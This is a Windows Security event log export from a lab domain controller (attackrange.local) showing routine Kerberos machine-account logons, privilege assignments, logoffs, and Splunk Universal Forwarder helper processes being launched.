-LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255510 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x31D47B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62666 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255509 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D47B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:17:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255521 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255523 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255522 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255524 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd00 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10bc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:17:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255527 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x31D666 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255530 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x320A1E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255529 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x320A1E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62679 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255528 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x320A1E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:18:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255531 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1118 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255534 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x63c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255536 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255535 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc40 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255537 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=255540 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x323F6A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=255539 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x323F6A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62692 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=255538 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x323F6A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:19:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255541 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - 